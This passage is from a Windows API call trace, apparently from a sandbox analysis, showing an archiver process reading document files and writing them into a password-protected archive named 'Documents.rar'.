| out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x331)) [0068.196] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.196] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14353630916) returned 1 [0068.196] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x7a6f, lpOverlapped=0x0) returned 1 [0068.197] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a7aaf, nNumberOfBytesToRead=0xf8591, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a7aaf*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.197] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63bf0 [0068.197] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c20 [0068.197] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63c20, Size=0x48) returned 0x39db40 [0068.197] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.197] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c20 [0068.197] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63c20, Size=0x48) returned 0x39daf0 [0068.197] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.197] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.197] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c20 [0068.197] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c50 [0068.197] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63c50 | out: hHeap=0x2e0000) returned 1 [0068.197] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63c20 | out: hHeap=0x2e0000) returned 1 [0068.197] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63bf0, Size=0x48) returned 0x39db40 [0068.197] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.197] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.197] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.198] GetTickCount () returned 0xa67570 [0068.198] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14353810243) returned 1 [0068.198] GetTickCount () returned 0xa67570 [0068.198] GetTickCount () returned 0xa67570 [0068.198] GetTickCount () returned 0xa67570 [0068.198] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.198] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.198] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.198] ResetEvent (hEvent=0x1a4) returned 1 [0068.198] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.199] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.200] ResetEvent (hEvent=0x1a4) returned 1 [0068.200] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.201] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.201] GetTickCount () returned 0xa67570 [0068.201] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14354393245) returned 1 [0068.205] GetTickCount () returned 0xa67580 [0068.205] GetTickCount () returned 0xa67580 [0068.205] GetTickCount () returned 0xa67580 [0068.205] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 1 [0068.205] GetMessageW (in: lpMsg=0x1cd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd760) returned 1 [0068.205] GetFocus () returned 0x0 [0068.205] TranslateMessage (lpMsg=0x1cd760) returned 0 [0068.205] DispatchMessageW (lpMsg=0x1cd760) returned 0x0 [0068.205] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.205] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.205] ResetEvent (hEvent=0x190) returned 1 [0068.205] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.206] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.206] ResetEvent (hEvent=0x190) returned 1 [0068.206] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.206] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.206] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.206] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.206] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x1716a0 [0068.206] SetFilePointer (in: hFile=0x198, lDistanceToMove=96, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x171700 [0068.206] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.206] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.206] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.206] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.207] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x7ab0, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x7ab0, lpOverlapped=0x0) returned 1 [0068.207] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.207] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.207] SetFilePointer (in: hFile=0x198, lDistanceToMove=1513120, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x1716a0 [0068.207] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x1716a0 [0068.207] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63bf0 [0068.207] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c20 [0068.207] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63c20, Size=0x48) returned 0x39daf0 [0068.207] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.207] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c20 [0068.207] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63c20, Size=0x48) returned 0x39db40 [0068.207] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.207] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.207] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c20 [0068.207] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c50 [0068.207] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63c50 | out: hHeap=0x2e0000) returned 1 [0068.207] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63c20 | out: hHeap=0x2e0000) returned 1 [0068.207] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63bf0, Size=0x48) returned 0x39daf0 [0068.207] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.207] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x60, lpOverlapped=0x0) returned 1 [0068.207] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63bf0 [0068.207] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x60) returned 0x3a1480 [0068.207] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.207] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.207] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x1791b0 [0068.207] CloseHandle (hObject=0x1b0) returned 1 [0068.208] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.208] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.208] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.208] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.208] FindFirstFileW (in: lpFileName="kSD3eNYHYfeDhhgpl4.pptx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.208] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.208] CreateFileW (lpFileName="kSD3eNYHYfeDhhgpl4.pptx" (normalized: "c:\\users\\whuoxysd\\documents\\ksd3enyhyfedhhgpl4.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.208] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.208] GetTickCount () returned 0xa67580 [0068.208] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.208] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.208] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.208] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.208] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="K3zCHl_.xlsx") returned 12 [0068.208] SetWindowTextW (hWnd=0x10280, lpString="kSD3eNYHYfeDhhgpl4.pptx") returned 1 [0068.208] GetTickCount () returned 0xa67580 [0068.208] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.208] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.209] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.209] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.209] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x341)) [0068.209] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.209] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14354916932) returned 1 [0068.209] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x1487a, lpOverlapped=0x0) returned 1 [0068.210] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b48ba, nNumberOfBytesToRead=0xeb786, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36b48ba*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.210] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.210] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.210] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c20 [0068.210] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c50 [0068.210] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63c50, Size=0x48) returned 0x39db40 [0068.210] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.210] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c50 [0068.210] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63c50, Size=0x48) returned 0x39daf0 [0068.210] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.210] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.210] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c50 [0068.210] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c80 [0068.210] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63c80 | out: hHeap=0x2e0000) returned 1 [0068.210] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63c50 | out: hHeap=0x2e0000) returned 1 [0068.210] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63c20, Size=0x48) returned 0x39db40 [0068.210] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.210] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.210] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.211] GetTickCount () returned 0xa67580 [0068.211] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14355125992) returned 1 [0068.211] GetTickCount () returned 0xa67580 [0068.211] GetTickCount () returned 0xa67580 [0068.211] GetTickCount () returned 0xa67580 [0068.211] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.211] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.211] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.211] ResetEvent (hEvent=0x1a4) returned 1 [0068.211] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.212] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.213] ResetEvent (hEvent=0x1a4) returned 1 [0068.213] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.216] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.216] ResetEvent (hEvent=0x1a4) returned 1 [0068.216] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.218] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.218] GetTickCount () returned 0xa6758f [0068.218] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14355850379) returned 1 [0068.218] GetTickCount () returned 0xa6758f [0068.218] GetTickCount () returned 0xa6758f [0068.218] GetTickCount () returned 0xa6758f [0068.218] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.218] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.218] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.218] ResetEvent (hEvent=0x190) returned 1 [0068.218] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.219] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.219] ResetEvent (hEvent=0x190) returned 1 [0068.219] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.220] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.220] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.220] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.220] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x1791b0 [0068.220] SetFilePointer (in: hFile=0x198, lDistanceToMove=107, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x17921b [0068.220] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.220] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.220] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.220] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.220] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x14950, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x14950, lpOverlapped=0x0) returned 1 [0068.222] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.222] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.222] SetFilePointer (in: hFile=0x198, lDistanceToMove=1544624, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x1791b0 [0068.222] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x1791b0 [0068.222] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c20 [0068.222] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c50 [0068.222] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63c50, Size=0x48) returned 0x39daf0 [0068.222] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.222] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c50 [0068.222] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63c50, Size=0x48) returned 0x39db40 [0068.222] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.222] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.222] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c50 [0068.222] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c80 [0068.222] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63c80 | out: hHeap=0x2e0000) returned 1 [0068.222] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63c50 | out: hHeap=0x2e0000) returned 1 [0068.222] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63c20, Size=0x48) returned 0x39daf0 [0068.222] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.222] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x6b, lpOverlapped=0x0) returned 1 [0068.222] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c20 [0068.222] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x6b) returned 0x3b4bb90 [0068.222] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.222] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.222] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x18db6b [0068.222] CloseHandle (hObject=0x1b0) returned 1 [0068.222] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.222] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.222] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.222] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.222] FindFirstFileW (in: lpFileName="KZD3FfQJWWhay.docx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.223] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.223] CreateFileW (lpFileName="KZD3FfQJWWhay.docx" (normalized: "c:\\users\\whuoxysd\\documents\\kzd3ffqjwwhay.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.223] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.223] GetTickCount () returned 0xa6758f [0068.223] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.223] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.223] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.223] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.223] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="kSD3eNYHYfeDhhgpl4.pptx") returned 23 [0068.223] SetWindowTextW (hWnd=0x10280, lpString="KZD3FfQJWWhay.docx") returned 1 [0068.223] GetTickCount () returned 0xa6758f [0068.223] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.223] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.224] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.224] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.224] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x350)) [0068.224] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.224] QueryPerformanceCounter (in: 